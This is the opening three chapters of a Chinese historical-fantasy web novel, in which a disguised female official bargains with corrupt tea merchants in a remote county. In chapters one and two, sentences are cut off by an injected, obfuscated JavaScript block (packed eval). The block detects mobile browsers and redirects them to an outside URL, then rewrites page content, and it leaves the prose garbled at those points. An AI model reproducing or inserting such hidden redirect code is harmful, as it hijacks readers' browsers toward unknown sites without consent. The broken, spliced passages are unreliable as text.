《少侠每天只想躺平》 1. 第 1 章 夷川县坐落于黔州南侧群山环绕的一块小平地之中,位置偏远,行路崎岖,常年不散的烟瘴之气更让人难以忍受,除了发配到此的犯人,就只有爱劫山道的江洋大盗喜欢藏匿于此了。 不过,再偏远的地方也是地摊小铺,茶肆酒楼,从下到上,应有尽有。而福满楼大饭店正是这里的“地头蛇”,独享夷川第一酒楼的名号。 今日是本地阿依族的巴代节,当地族人会为了新的一年取得更好的收获而在神明的生日这天进行祭祀活动。因此,街上尤为热闹,家家户户都穿着传统服饰,出门携带香火“走游蛇”,为神明庆生。 酒楼的生意自然也是水涨船高,席桌上觥筹交错,竟没有一桌空席。喝了酒的客人一般都要在店里歇一晚,因此客房也被订得所剩无几。店门口的小二弯着腰,满脸堆笑地迎接一波又一波的贵客,同身披绮绣锦缎的客人道了几声好,自己也不由得高贵起来,斜着眼睛打量路上的行人。 正叫他瞧见了从街角远远地走来的一头头歪嘴斜,走路摇摇晃晃的呆驴。驴上跨着一个懒懒的人,一身玄黑交领长衫,手绑腕带,墨发高束,腰佩一把缠满破布条的柳叶弯刀——正是江湖人士的打扮。 小二在不禁在心里嘲弄,这外地人来的真不巧,过节正是盗贼猖狂的时候,却突然发现这个呆驴正驮着它的主人朝自己的方向走来。 驴脚还没踏进店门,不知道从哪儿又冒出来个双鬟小儿,一张小脸养得珠圆玉润,一手拿一串晶亮的糖葫芦,一手牵起呆驴的缰绳拴在了店门口,同驴背上的人说了几句话,又忙不迭朝小二跑来,下巴一扬,朗声道: “有人在这里给我们家大人订了一桌酒席,店家可否领我们前去?” 小二听闻又重新打量起驴背上的人:这小姑娘将那人唤做‘大人’,看不出来还是个当官的。他又瞧见那身粗麻长衫,心想,定是个兜比脸干净的芝麻官。便皮笑肉不笑道: “这位客官,咱们饭店的酒席早就摆满了,可没看见还有哪个候着人的席桌啊!” 小女孩秀眉一皱,质问道: “你们没有核销订席的账本?将账本取来核对便知一二。” 小二语重心长道: “恕不相瞒,姑娘,夷川这地方能来咱们饭店用餐的贵人扳着指头都能数得清,哪里还用得着对账本呢?” 小女孩正想分辩,忽然意识到这人话里有话,顿时气得涨红了脸: “谁让你瞧不起人的?将你们老板叫来,我今天定要同他理论理论...” “哟,小姑娘年龄不大,怎的这般牙尖嘴利,你别胡说,我可说的是事实啊...” 这边正争执,一道清朗的声音打断了两人: “既然如此,店家可还有空余的客房?” 小二听到声音心里一惊,细细地打量起这个刚从驴背上下来的人,只见此人眉目清俊,神朗气爽,身形颀长,喉颈平滑——分明是个女人! 承元三十四年,大荣国法颁布了第一条女子为官的法令。自那时起,女子凡有考取功名,为官为吏者,与男子同官制,同礼制。这条法令颁布至今已有五十余年,大荣经历了太后垂帘听政,顺庆帝登基...京城的风雨多多少少也能传到黔州这块蛮夷之地。 不过夷川更是落后,百年间都榜上无名,近年来整个县学考上府学的学子都没有几个,更别说有考上官的女子了,倒是大字不识一个,来城里干活的村妇多了起来,因此碰见个女官尤为稀奇。 小二带了几分好奇,语气也软和下来: “这位客官可是来夷川办公差?为何不在官驿下榻?” 女子轻笑一声,低声道: “店家有所不知,这份差事情况特殊,身份不可声张。” 这下可吊足小二胃口,他也不自觉地压低声音,凑近问道: “敢问小官人所办何事,可否透露一二?小人或许能帮上忙。” 女子笑而不答,抱拳朗声介绍道: “在下姓徐,名澄飞,爱好游山玩水,特地带舍妹来贵县体验一番风土人情,还请店家多多照拂。” 徐澄飞只字不提公差之事,小二脑子里就算有千万道弯,也琢磨不出来此人的具体身份,自然也不敢得罪,只得赔笑道: “那是自然,那是自然...远来即是客,方才小人失礼了。酒楼里还余下几间上等客房,客官请先随我来结清账款。” “多谢店家,”徐澄飞转头对小女孩吩咐道,“贺安,你先将小呆牵到后院去领几捆草料。” 贺安应声离去。 徐澄飞手扶弯刀,悠然迈入喧闹的酒楼,边走边观察各个席桌上的菜肴,饶有兴致地在心里列出今晚的菜单:卤猪脚,酸汤鱼,阿依油茶...直到小二报出住店的价钱。 “多少?”徐澄飞不可置信。 “五百二十四文,”小二很有眼力见地看出了徐澄飞对夷川美食的渴望,特地补充道,“小店还为您准备了种类丰富的晚餐,这是入住客房附赠的服务。” 五百多文?夷川这穷酸的地方竟还有这种高消费的酒楼,住一晚上要花掉一个小小芝麻官将近半月的俸禄!可话都说到这个份上了,徐澄飞只得咬咬牙掏出了自己的钱包。 几块碎银,一小贯铜钱,三百,四百...徐澄飞抖抖干瘪的钱包——还差五十文。 “咳咳...不要晚餐能少几文钱?” “客官,您就别为难小的了,附赠的吃食本来就没算在里面的。” 场面十分尴尬,小二不禁开始掂量这个人刚刚在门口说的有几分真几分假。 终于,等来了安顿好呆驴,满嘴糖汁的贺安,徐澄飞清了清嗓子: “贺安,你将包袱里那一贯铜钱找出来。” 贺安狐疑地看了一眼小二,乖乖地解开背上的包袱翻出一贯铜钱。 徐澄飞数了数递给小二五十文,小二笑着接下,躬身示意道: “客官请随我移步楼上。” . 徐澄飞仰卧在豪华大客房的软塌上,默默为刚刚离开自己的五百四十文而哀悼。 贺安轻而易举地发现了徐澄飞空空如也的荷包,震惊道: “师姐!你怎么把钱花光了!” 徐澄飞淡淡地斜了她一眼: “有什么好大惊小怪的,不是还有大半贯铜钱吗?还有,跟你交待多少遍了,出门在外,要叫我什么?” “知道了,大人...可是这点钱连回去的路费够啊...” 徐澄飞自然知道这个道理,她本是同夷川的茶商约好今日在此地议价,如今没等到约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417920|184717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定的人,又总不能傻站在店外干等消息,天色已晚,只得暂时住下,谁曾想这家店如此黑心?她越想越憋屈,翻身而起,愤然道: “好你个夷川茶商,竟然放我鸽子!想必是不好直接从我这里捞油水,故意先给我一个下马威呢!” “这些茶商怎么胆子这么大,平常让那些门房小吏来办差都是顺风顺水。怎么到了大人这里反倒还耍起心眼儿了!”贺安手上活没停,将包袱里的雀纹青袍收拾出来,服服帖帖地搭在屏风后的衣架上,再将一顶乌纱官帽妥当地摆在小茶几上。 徐澄飞冷哼一声: “等那几个老狐狸露面,必定要将今日的损失从他们身上讨回来!” 说罢解下腰间的弯刀,一层层地将裹得严严实实的烂布条拆开,流光一现,只见那弯刀圆如弦月,通体漆黑。柄刃交界处蛇纹环绕,浑然一体,刀面光可鉴人,不知由何种材料铸成,竟微显暗红的光芒,其上的铭文若隐若现,宛如游蛇吐信,使人畏而生寒...好一把绝世宝刀! 徐澄飞细细地摩挲着刀身上的古文,自言自语道: “快出来透透气吧,伏虺,可别又委屈你了...” 此时,一阵敲门声传来。 “什么人?” “客官,是小店给您做的吃食到了。” 贺安飞奔去开门,徐澄飞连忙将伏虺刀收在身后。 送吃食的大娘黝黑干瘦,操着一口带方言味儿的官话将菜摆上桌: “客官,这是小店的招牌酸汤鱼,这是我们这儿阿依族的特色刺梨烫酒,过节才有呢...” “知道了,你放好就下去吧。”徐澄飞打断道。她见这大娘很不安分,进屋就眼珠子乱转,只想叫这人赶紧退下。 大娘应声离开,不曾想她早就瞧见了徐澄飞身后露出一截的宝刀,心中起了歹念... 旅途劳累,又有佳肴美酒在前,哪里还有这么多顾虑。贺安一手一个野蒿粑粑,连连称赞。徐澄飞也是心满意足,暗喜自己刚刚没退成今晚的这顿大餐。 酒足饭饱后,才有闲心欣赏窗外的街景,只见街上灯火通明,说书的卖艺的,摆摊的算命的,欢声笑语,热闹非凡,看的徐澄飞心痒痒,当下决定以消食的名义上街溜达一圈。 贺安自是不必多言,孩子心性,见着新奇的都要停下来看两眼,不多时手上已经是泥人果脯,香包木雕,五脏俱全了。徐澄飞倒也不担心钱包,乐呵呵地跟着掏钱,有时还会赏给表演杂耍的几个铜板。 正当两人站在人群外围,对着边吹芦笙边跳舞的阿依人高声喝彩时,突然冲出几匹受惊的雪白骏马,末尾的白马一扬蹄,差点儿把马背上的人甩出去,周遭的人纷纷逃开,一片混乱。 马背上的人狼狈地稳住后,不禁用带北方口音的官话破口大骂,原是高声喝彩的观众惊了他们的马。 白马队伍里为首的是个身着低调墨蓝曳撒的青年女人,她狠狠地瞪了那人一眼,那人立刻偃旗息鼓,怏怏地跟上马儿的队伍。 至于徐澄飞贺安两人,没等围观的群众打抱不平,早就脚底抹油,一溜烟儿跑回了福满楼大酒店。芦笙表演也不看了,祈福明灯也不点了。只因白马上那几位气派嚣张的公子腰间都佩有青黑丝带悬坠的青龙白玉环——正是大荣银海台郎官的身份标志。 2. 第 2 章 承元三十七年,睿宗创立银海台,对外宣称这是一个针对女官的考察机构,旨在挖掘能为国家所用的优秀女官,直接受皇帝提拔。睿宗年老,又生性多疑,朝野上下都知道挖掘人才只是个幌子,实际上是为了防止短短几年动摇朝局的新兴势力发展过快而埋下的一张暗网。 承元四十三年,明山之变爆发,几位皇子为夺嫡而拉拢朝中女官,暗中培养幕僚一事浮出水面。睿宗龙颜大怒,将涉案的女官和幕僚杀了个精光,又借此事逮捕了一大批女官——相关罪名自然是由银海台提供。 这一年里,朝廷的女官锐减,睿宗也得了心病,银海台彻底沦为他捕风捉影的工具,朝廷上下人心惶惶。最终,这场屠杀以睿宗病重驾崩,魏太后掌权落下了帷幕。 银海台经过太后的整治,到如今已经是一个辅助监察的机构,每年会单独对女官进行考核。 这本是一个寻常的流程,不过是走走过场,但前些日子各个府衙从京城传来的风声得知,今年的考核尤为严格,上头甚至点了好几位钦差大臣,大有先帝之遗风。 不过嘛,只要两袖清风,没招惹什么仇家,自然是无所畏惧。而徐澄飞一向如此——想当年她好不容易考上了这个黔州府的知事,行事必然相当谨慎。 本以为当上官了日子就会过的滋润一点儿,奈何碰上了个很难伺候的领导,偏偏这人还与知府大人是同窗,只要他捅出什么篓子,全府上下都得忍气吞声地给他擦屁股。 洞填多了难免会有纰漏,今年的账目一对,到了徐澄飞这儿就出了点问题,所有人都心知肚明这问题出在哪儿,徐澄飞哪敢明说,只是先偷偷找“当事人”商量对策。 哪知这人脸皮比城墙还厚,直接赖账,拒绝配合。 徐澄飞一气之下找知府上报了原委,知府大人眼皮都没抬,悠悠吐出几个字来: “既如此,你先出去躲一段时间罢。” 于是,堂堂知事大人就被外派到这穷山恶水之地同刁民讨价还价。 屋里没点灯,徐澄飞倚靠在窗边低头沉思,窗外热闹依旧。 整个知府都没几个女官,别说这发展更落后的夷川了,怕是一个女官也没有。这银海台的人怎么连这破地方都搜进来了,还来了不少人。 贺安蹲在窗下,只露出一双眼睛,偷偷朝外看: “大人,咱们躲过去了!那些人根本没注意到咱们。” 徐澄飞瞧她窃喜的样子,甚是可爱,没忍住弹了一下她的额头: “咱们就是出来逛街的路人,他们当然注意不到我们。” 贺安捂着额头嗷嗷跑开,不解道: “那咱们跑什么呀?我的糖葫芦都跑掉了...” 徐澄飞面色一沉,干咳两声: “你就知道吃...懂不懂什么叫未雨绸缪?虽然他们不认识我,但也不能太过招摇,要是被问起来可怎么办?别忘了我们是以外地人的身份来此地的,县城里的关系如同互相攀升的藤蔓,待久了总会引起注意。” “哦...” 徐澄飞盯着衣架上的官服,心里还是有些不安,吩咐道: “贺安,你去将官服收起来。再去楼下吩咐一声,就说有位姓徐的大人在这里等茶商的消息。” “好。” “明日若是等不到就先离开,此地不宜久留。” · 次日一早,店里的小二就送来口信,说是一众茶商因为要事记错了日子,为此感到十分抱歉,打听到贵客仍在此地留宿,特地将接风的席桌换成了顶楼最好的雅间,请贵客今日午时前去用餐。 徐澄飞嘴角微扯: 也是难为他们了,想了一晚上想出这么个蹩脚的理由。 她抬手一挥让小二去回话,转身摇醒睡得满脸哈喇子的贺安: “贺安,我出门一趟,你就待在这里,等我回来和茶商一起吃午饭。” 贺安费力地把眼睛睁开一条缝: “知道了...大人...” 转头又倒在枕头上。 徐澄飞上街溜达了一圈,没多久就看见了县衙的牌匾,门口有两个守卫正聊天。 她在周围四处转悠,瞧见一个没什么人经过的角门,侧身进去,里面是一片没人打理的小院子,杂草丛生。正对面是个拱门,旁边有个门房坐在小板凳上打瞌睡。 徐澄飞放轻脚步,走到拱门前从门缝看去,几个大娘坐在院里择菜,她们身后的屋里传来阵阵柴刀的砍声,似乎是个厨房。 徐澄飞迈步到门房身旁,伸手将他摇醒。 “啧。”门房被扰了清梦,正待发作,手里却多了一小把铜钱。 “这位小兄弟,打扰了。”徐澄飞用黔州方言说道,她笑吟吟地一拱手,“有几个问题方不方便请教一下?” 门房扫了她一眼,将铜钱塞进兜里,仍有些戒备: “你说吧。” “在下姓徐,是涪陵人,在一个老板手底下做事。老板最近准备在贵县置办点产业,开个客栈,吩咐我来打听打听柴碳的来路。你也知道,那些同行肯定不乐意讲,我想着府上人丁兴旺,所以才斗胆来这儿问问。” “涪陵啊,”门房一拍手,“我说你这口音怎么这么熟悉,我老娘就是那儿的人。” “哎,那也是半个老乡了。”徐澄飞亲昵地拍拍门房的肩膀,又掏出一把铜钱往他怀里塞。 门房半推半就地收下了,笑道: “徐老妹客气了,你说的事儿倒是简单,我也常给柴房打打下手。柴嘛就去找西郊的陈老四打听,炭嘛每年初冬散户出来卖得最多,你看上哪家聊两句就是,质量都大差不差。” 徐澄飞苦恼道: “实不相瞒,我家老板对客栈的定位比较高,点名了还要上好的银炭给客人用。” “哎哟,这银炭可不好找呐。不是老哥我多嘴,老妹你们这客栈的办法怕是要亏本。咱们这穷乡僻壤的,本来就没几个外地人,来了又能有几个钱?银炭价贵,都是些达官显贵才用得起的东西呀!你家老板是头一回做客栈的生意吧?” 徐澄飞叹了口气,无奈道: “这倒确实,我们自个儿都没见过几次银炭呢,但我这做伙计的也不好多说。话说你们这里都是贵人来往的地方,银炭什么的,平常也能沾不少光吧?” 门房哼一声,脸上有些得意: “往年就不说了,县丞老爷扣得很,那银炭都是按块记在账上的。今年可不一般,县里来了大官人,银炭买了一大车呢,也方便我们这些小的摸点儿回去见见世面了。” “怎的突然来了大人物,府衙的人吗?” “府衙可没法比,简直就是芝麻和西瓜,”门房凑近低声道,“说是京城来的钦差大人,到县里来查大案。” “嚯,钦差大人!不过这夷川能有什么大案,最多也就是山匪劫货那些事儿吧?” 门房笃定地摇摇头: “夷川可没那个本事,能产出什么货惊动龙椅上的那位。不过你倒是说对了一点,确实与山匪有关,再过几日钦差大人就准备进龙吟山了,我们这几天吃食行头准备了不少。” 门房又抱怨了几句自己的活儿不好做,两人再拉了一会儿家常,徐澄飞便借故告辞了。 回到酒楼,已是午时过一刻了,贺安正端坐在凳子上,亮出了微瘪的小肚子和一口白牙,说是专门没吃早饭,要狠狠坑奸商一把。 徐澄飞摁住她跃跃欲试的脑袋,换了身体面的长袍,坐下来喝了一壶茶,才携着贺安悠然朝酒楼顶层踱步。 在“观鹤轩”的门牌下站定,屋里的人讨论得正酣。 一人声音粗粝,口气很不高兴: “郑老弟,你说咱们该不会被诓了吧?都午时过两刻了,这人怎么还没来,菜都换了一轮了!” “郑老弟”声音很沉稳,也有点儿不耐烦: “老何啊,你就少抱怨两句吧!被诓了也是我们该,谁叫你想的那个馊主意放人家鸽子?” “老何”突然激动起来,声音高了几个度: “你这人,不是你说新官上任三把火,咱们要先放火吗?昨天你跟老刘两个有急事,让我自己帮忙处理的时候可不是这个嘴脸!” “郑老弟”没说话,过了一阵,他那带点儿哭腔的声音才传出来,像是憋了一肚子气: “是,我是说过,府衙今年突然换了人,我们得先出手探探底细,可人家明面儿上来的是知事啊!大小也是个官,你居然就这么明目张胆地怠慢别人,叫你处理没叫你什么也不干啊!” “老何”冷哼一声,许是自觉理亏,不再说话了。 徐澄飞见时机正好,理了理袖子,推门而入。 美酒佳肴的香气迎面扑来,对面坐了一个粗眉斜飞的胖子,一个长脸长须的瘦子,都着锦衣,佩香囊。 大荣对士农工商日常的衣着没有什么要求,买得起什么就穿什么。 瘦子一见徐澄飞,立刻起身,笑吟吟地将她请到了自己的上首位入座,并介绍自己叫“郑昌”,另一位是“何才”。还有一位刘子钧被昨日的要事拖住了一会儿,现在正往酒楼里赶。 何才一言不发,斜着眼睛打量她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417921|184717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>徐澄飞给贺安点了个座位,才抱歉道: “对不住了各位,贵县这好山好水,让徐某流连忘返,一时忘了与诸位的约定。” 何才直起身,张口正要说话,被郑昌按了回去,徐澄飞含笑继续道: “不过本人素爱游山玩水,但被样的美景美情拖住也不过两刻钟,说明徐某还是把与诸位的约定放在了心上啊!” 郑昌闻言,起身先为自己斟了一杯酒,仰头喝下,空杯以示: “郑某先自罚一杯。大人有所不知,昨日咱们郑,刘两家茶庄突然被山匪劫走了几批茶叶,那茶叶本是今日就要发出的单子,十万火急,我和老刘便前去处理。老何与我们素来交好,便也去帮了忙,不是不将大人您放在心上,是实在是有苦衷啊!您说这寒冬腊月的,生意本来就不好做,这山匪还专挑我们这种薄利的买卖下手,真是屋漏偏逢连夜雨啊!” 徐澄飞抬眼,意味深长地在何昌那比山包还大的肚子上停留片刻,挑眉道: “郑兄,我怎么看,你们这买卖也不像薄利的呀?去年府衙买入贵庄的各类茶叶四十余石,合计六十四两银子,其中最便宜的红茶也要二十文一斤。昨日没等到几位,徐某闲着没事儿在街上关注了一下今年茶叶的成色,打听到最贵的红茶也就十文一斤,你这多出来一倍的钱也能称得上‘薄利’?实在是徐某孤陋寡闻了。” 郑才不疾不徐地解释道: “徐大人,今日所见,郑某也瞧出来了,您这样年轻有为,想必也是个知书达理的人。那些散户的茶叶都是小打小闹,加上新年在即,必然忙着将陈年旧货脱手,徐大人平常一定不喜品茗吧?看不出来也是情有可原。咱们大茶庄向来只与大户交易,卖的都是当年的新鲜茶叶,从没有囤过旧货,倒是经常没有茶叶卖。再者说...” 何昌圆眼一瞪,讥笑道: “再者说,那也得看那多出来的钱有几分进了我们的口袋!” 徐澄飞放下筷子,看向何昌: “诸位也知道了,今年府衙特地预订了这批眉谭翠芽,是为咱们大荣公主的寿辰作贺礼。这眉谭翠芽的甘醇鲜爽,远近闻名,有价无市。不知几位这次准备定价多少,又准备从那多出来的钱中拿几分进自己的口袋呢?” 郑才见她的态度软下来,将中饱私囊的事儿都拿到明面儿上了,不过看方才那几句针锋相对,怕也是个不好糊弄的人物,便先报了茶叶的价格,又报出了一个比自己预期低几分的分成,留几分余地: “徐大人,若是这个价格能谈妥,郑某愿代表剩下几位,拿出一成的利润给各位官人补补身子。” “一成?你赚那么多,别把腰包撑坏了。” “徐大人,最多两成,再多,采茶的工人可就白忙活一年了啊!” 徐澄飞冷笑一声,心中唾骂往日办这事的人与这些奸商勾结,不知道坑了府衙多少银子。又懊恼自己这回要是捞了次大油水,不知抢了谁的好差事,回去又得被针对。自打考上这个官以来,日子没变好,糟心事倒是一堆,心中越是火大,横眉一凛,冷声道: “郑兄,你可知这是上贡给公主的贺礼?是要给天子过目的东西?” “是,徐大人说的对,不过嘛,这贡茶越好,成本也就越高,就算是天子来了,您也最多只能拿两...” “皇上手里的东西,郑兄也敢做这些手脚?若是查起来,郑兄也敢这么一口一个天子?真是胆大包天!”说罢,她将弯刀往桌上一拍,震得贺安差点儿没拿住碗,忙匆匆吞下口中的梅花肉,起身瞪向郑何二人。 主仆二人气势汹汹,郑何两人目瞪口呆——刚才还谈的好好的,不过就是讨价还价的事, 这人怎么说变脸就变脸,突然扣这么大个帽子,还动刀动枪的,简直比土匪还过分! 就算郑才口才再好,此时也是一句话都憋不出来了,只见他眼睛一转,用袖子捂着嘴巴大声干咳起来,似是被气得急火攻心。 贺安贴心地为他斟起了茶。 正当徐澄飞以为这奸商准备装病耍赖的时候,雅间的门被打开了,一个瘦削的身影大步走了进来,随即徐澄飞的一双手便被这人牢牢地握住了,只见此人眼神热切,声音里透出一股兴奋: “徐大!你还记得姐姐我么?” “啪!”贺安手中的杯盏摔碎了一地,她忙俯身去捡,深褐色的茶渍在她的衣摆上缓缓洇开。 徐澄飞却只是坐在原地,方才那声“徐大”瞬间在她脑中炸开,脑子里一片嗡鸣,周围人的惊呼她也听不见了,一时间世界安静得只剩下她飞速思考时粗重的喘息声。 3. 第 3 章 徐澈,承元五十二年生于益州断魂峡的刀道世家,家中排行老大,十五岁下山游历,两年后死于黔北大饥huang,尸体在怒江上漂了七天七夜。 面前的女人约莫三十来岁,一双垂眼掩去了几分精明的目光,显得老实又诚恳。她一把揽过徐澄飞,夸张地团起两簇眉毛: “怎么,不记得姐姐啦?你小时候姐姐还抱过你呢,就在断魂峡的溜索边!你被滑索的汉子们逗的哇哇大哭呢!” 原来那人记不记得此人不知道,但徐澄飞也看出来了,这个姗姗来迟的刘子钧肯定没认出来自己这个和徐澈差了九岁的冒牌货。 面对突如其来的大型认亲场面,徐澄飞将怀疑的目光投向了郑昌和何才,那两人默契地交换了一下眼神,纷纷起身告辞。 “妹妹出落得如此玉树临风,年纪轻轻就在府衙里当差,真是让姐姐羡慕!”刘子钧试图用连环马屁转移徐澄飞的注意力。 徐澄飞一把挥开这人套近乎的手,暗暗擦了擦额间的冷汗,重新端坐于座椅上,好整以暇道: “徐某离乡多年,早已不记得什么赵钱孙李的远房表亲了。不知这位刘姐姐又是从何而来?” 刘子钧见她这般不给面子不恼,反倒是笑意更深,提起酒壶将在两人的杯子斟满,连贺安也得了一杯恭恭敬敬的好茶: “是刘某唐突了,徐大人彼时年幼,自然不会记得这样鸡毛蒜皮的小事儿。家母的姨妹曾拜入断魂峡九幽城的二当家门下,刘某儿时跟着家父的镖队做事,常常在城中落脚,与徐大人有过几面之缘。前些年城中还有来信,提到大当家的长子在黔州知府当差。同在黔州,刘某倍感荣喜,便多留意了一下徐大人的消息。此次议价,一听说来的是位徐姓的大官人,便猜到了是您。” 徐澄飞冒领徐澈的身份已有七 年,澄飞只是她私服办事的化名。此间她虽与九幽城有书信往来,但频率很低,一年一次,每次都是如同汇报一般陈述工作上的得失,回信也是千篇一律的问安,似乎只是为了完成一出每年例行的亲情戏。 事实就是九幽城的刀道世家并不重视这个长子,刘子钧的姨母估计也就是在信中提了一句徐澈当年买官的事。不过徐澄飞此次前来并未亮明知事的身份,刘子钧一行人却都默认了来的是位“大官人”,可见府衙里有人提前给他们传了话,那番热络的话不过是诈她徐澈的身份,看看能不能打感情牌。徐澄飞有些懊恼,这么不小心就中了圈套,将底牌亮了出来。 刘子钧继续道: “不过徐大人说的也是,陈年旧事没什么好提的,公事咱们就应该公办。大人一路舟车劳顿,刚到夷川就马不停蹄地来办差,这般为国事操劳的精神,实在是让刘某敬佩。此次设宴也不单单是为了商议公主贺礼之事,也是给大人您接风洗尘呐!” 徐澄飞不敢说话了,心里琢磨这人葫芦里卖的什么药。 刘子钧笑盈盈地将桌上的弯刀轻轻推回给徐澄飞: “这些日子山匪作乱,茶庄里的货不敢久积,所以方才郑兄,何兄才有些着急了,失了礼仪。徐大人也不必动怒,贺礼的事可以先放一放,在下认为当下最要紧应该是先陪大人品尝这好酒好菜,再领大人体验一圈咱们夷川的风土人情,尽到在下的地主之谊,才不枉费大人的奔波劳碌。徐大人意下如何?” 刘子钧言语恳切,行动上也不含糊,当下拍手让人来撤下冷菜重新添菜,都是些平时难以见到的奇珍野味,还另外拿出几瓶佳酿包好送到徐澄飞的房里。 徐澄飞虽面色不改,心下却有些触动。一路上为避开银海台的检查,不敢张扬行事,很少下榻官驿,更别说好好休息一下了。她向来又是那种喜爱热闹,新奇的人,刘子钧的提议正中她下怀。一文钱不出就能好好玩一圈,岂不是美事一桩? 至于昨天晚上碰见的那些郎官,徐澄飞现在一点儿也不担心了。经过她上午的考察,银海台在夷川搞那么大阵仗,和她这个“贪污受贿”的小知事半文钱关系都不会有,只是针对山匪的。 这么一考虑,徐澄飞爽快地接受了刘子钧的邀请,当日下午,便在贺安担忧和埋怨的眼神中出门找刘子钧逛街去了。 巴代节的庆典一般持续三日,出了酒楼,街上仍旧是人声鼎沸。刘子钧一边领路一边细细介绍着夷川县的历史,时不时在摊贩前停下买些特产送回酒楼里去。 路过一家茶馆时,只见人群中立了一位眉飞色舞的说书人: “话说承元年间,北蛮作乱,天灾不断,大荣国势急转直下。先帝心系国事,日夜操劳,患上了失眠之症,遍寻名医却无一人可医治。承元二十九年的一个冬至,先帝仍是一夜未合眼,推窗向外望,只见天空一片青灰茫茫,月影暗淡,正是卯时将近,天色渐亮。忽然一颗飞星划过,留下一道鲜红的尾迹。那尾迹久久不散,竟是愈来愈亮,仿佛空中撕开了一道口子。一位帷帽掩面,素衣布鞋的仙人提了一坛酒从红光中走来。此人所过之处,风停叶止,树静鸟噤,时间好似静止一般,转瞬间,她便站在檐下与先帝隔窗相望。 “只见仙人悠悠开口,声音如梦似幻,‘在下游医天瑞,行至此地,听闻足下患有不治之症,特携药方拜访,足下可以一试。’说罢,便从袖中抽出一张薄纸抖开,上面赫然写着‘好道三钱,文火煎煮’。先帝并未参透其中奥妙,询问道,‘敢问仙尊,这个好道生在何处,如何采摘?以朕的失眠情况,一日需煎服几次?’仙人轻轻摇头,笑道,‘在下这张药方除的是病灶,无法短期内见效。足下若是想先睡个好觉,那便唯有杜康能解此忧了。’说罢便将手中的酒坛放下,转身离去。 “先帝痴痴地望着仙人的背影,只觉得一阵天旋地转,竟是从梦中醒来,外面早已天光大亮,飘起了鹅毛大雪。什么红星,什么仙人,通通消失得无影无踪,只有一坛酒立在窗沿。自那之后,先帝便遵循天瑞神星的指点,寻找民间有奇才异能的女子为大荣效力。北有巡武金刚不坏之身,南有纪丛目视千年之能,此般神力,皆出巾帼,大荣由此被挽救于水深火热之中。那坛让先帝暂得安眠的神酒也被取名为天瑞,失眠者喝了能酣睡三天三夜,女子喝了可觉醒天瑞神力,而咱们这里恰好有当年天瑞神星降世带来的原浆精华,虽经过稀释,但效用不减...” 人群里顿时哄闹声一片,有举着铜钱争抢“天瑞亲酿”的,也有大骂“江湖骗子”拂袖而去的。 一个小女孩举着木剑扮演巡武,另一群小孩排成一列扮演北蛮。小姑娘挥舞着木剑大喊: “大胆蛮人,看我掌剑合一!” 只见女孩奋力前冲,孩子们一阵惊呼,四散而逃,混乱之中,“天瑞亲酿”被撞翻了好几坛,说书人气得直跳脚。 徐澄飞头一次听说过天瑞星降世的民间版本,觉得十分有趣,便也买下一坛神酒,准备回去逗逗贺安。 刘子钧见状,调侃道: “妹妹当真是喜欢看些热闹,与以往大不相同了。” 徐澄飞糊弄道: “是么,人都是会变的吧!” “还记得妹妹小时候不爱讲话,总是阴沉沉一张小脸,”刘子钧背着手低头走在前面,似乎若有所思, “神道兴起,武道式微,如今江湖各种武学也逐渐没落了。妹妹走出来为官也是个明智的选择呢。” “姐姐言重了,有神力的女子毕竟是少数。” “诶,少数也改变很多了。想想咱们祖辈,女子为官一事还是天方夜谭呢!咱们虽然是普通女子,但若是没有什么巡武、纪丛,女子想要出头,不知得经历多少磨难!说天瑞是女人的福星也不为过呀,若是有了神力,那更是前途无量。” 徐澄飞内心苦笑:也不知道召唤一把刀的神力能有什么无量前途。 “神力一般都和母族有关,普通人极少能获得,不过有些神力极其危险,私以为有这种神力的家族应该严格监控。”刘子钧眉头紧锁,似是想起了什么不好的回忆。 “姐姐此话怎讲?” “哎,”刘子钧重重地叹了口气,“妹妹可知龙吟山以南多是阿依族人聚居的地方,从前阿依族与汉人势同水火,夷川县百姓深受其害,常常是灶头刚起烟,米粮就被抢了去。县里的人口一度减少到百户以下,直到朝廷派人来招安,建立起贸易通道,才有所好转。 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“哪里哪里。妹妹若是好奇,我也能想办法带你去寨子里看看。” “谢谢姐姐的好意,妹妹有公务在身,不敢多留。”徐澄飞连忙摆手拒绝,要进了龙吟山碰上银海台的人可就麻烦了,这种刀尖舔血的热闹她可不敢凑。 两人走走停停,交流了不少奇闻异事。刘子钧似乎看出来她对徐澈老家有关的事有所遮掩,便不再提此事,偶尔几句贡茶价格上的交锋,也十分有分寸,让徐澄飞心服口服。转眼间到了傍晚,徐澄飞与她回了酒楼,在雅间对坐饮酒。 许是知道两人一天下来会有些疲惫,刘子钧特地挑了个面朝群山的雅间。窗外是一片幽深的林地,树影幢幢,一轮惨白的圆月高悬,街上的吵闹声模模糊糊被隔绝在外。 “我说……徐妹妹呐,”刘子钧脸贴在桌上,醉得直打酒嗝,“你说……一个人的变化怎么可以这么大?” 一阵寒风吹来,徐澄飞的醉意顿时减了几分,直起身来垂眸审视着胡言乱语的刘子钧。 